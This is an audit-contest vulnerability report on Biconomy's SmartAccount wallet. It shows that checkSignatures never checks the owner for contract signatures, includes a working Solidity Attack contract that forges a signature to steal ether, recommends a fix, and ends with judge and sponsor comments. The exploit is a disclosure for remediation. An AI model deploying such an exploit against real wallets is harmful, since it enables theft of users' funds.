Anybody can execute arbitrary transactions on any SmartAccount via execTransaction

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L192
https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343

Vulnerability details

Impact

Anybody can execute any transaction they want on behalf of any SmartAccount via the execTransaction function.

Anybody can get any SmartAccount to execute any transaction they want as long as it is done through a contract account. For instance, transfer out all Ether, ERC20, and ERC721, or do any operation to which the SmartAccount has access.

Proof of Concept

Here is a simple example attack to illustrate the concept. In the example, 1 Ether is stolen. However, the transaction provided to the smartAccount.execTransaction function can be anything.

contract Attack {
    uint8 constant v = 0;
    bytes32 constant s = bytes32(uint256(1) * 65);
    bytes32 immutable r;
    address immutable attacker;

    constructor() {
        attacker = msg.sender;
        r = bytes32(uint256(uint160(address(this))));
    }

    function attack(ISmartAccount smartAccount) public {
        smartAccount.execTransaction(
            Transaction({
                to: attacker,
                value: 1 ether,
                data: "",
                operation: Operation.Call,
                targetTxGas: 0
            }),
            0,
            FeeRefund({
                baseGas: 0,
                gasPrice: 0,
                tokenGasPriceFactor: 0,
                gasToken: address(0),
                refundReceiver: payable(address(0))
            }),
            abi.encodePacked(getSignature(), uint256(0))
        );
    }

    function getSignature() public view returns (bytes memory) {
        return abi.encodePacked(r, s, v);
    }

    function isValidSignature(
        bytes memory,
        bytes memory
    ) public view virtual returns (bytes4) {
        return 0x20c13b0b;
    }
}

The root cause of this vulnerability layers in the SmartContract.checkSignatures function. The problem is that when the signature is a contract signature (v == 0). There is no check that the signer (_signer) is the owner. It checks that it's a valid signature but not who the signer is.

Tools Used

Manual review.

Recommended Mitigation Steps

Add the require(_signer == owner, "INVALID_SIGNATURE"); check in the case of a contract signature (v == 0).
Or, since all paths should make this check, add the check at the end of the checkSignatures function outside conditional statements.

Another alternative is removing the whole case of allowing contract signatures.

[c4-judge]

gzeon-c4 marked the issue as duplicate of #175

[c4-sponsor]

livingrockrises marked the issue as sponsor confirmed

[livingrockrises]

#476 is not a duplicate of this issue.

[c4-judge]

gzeon-c4 marked the issue as satisfactory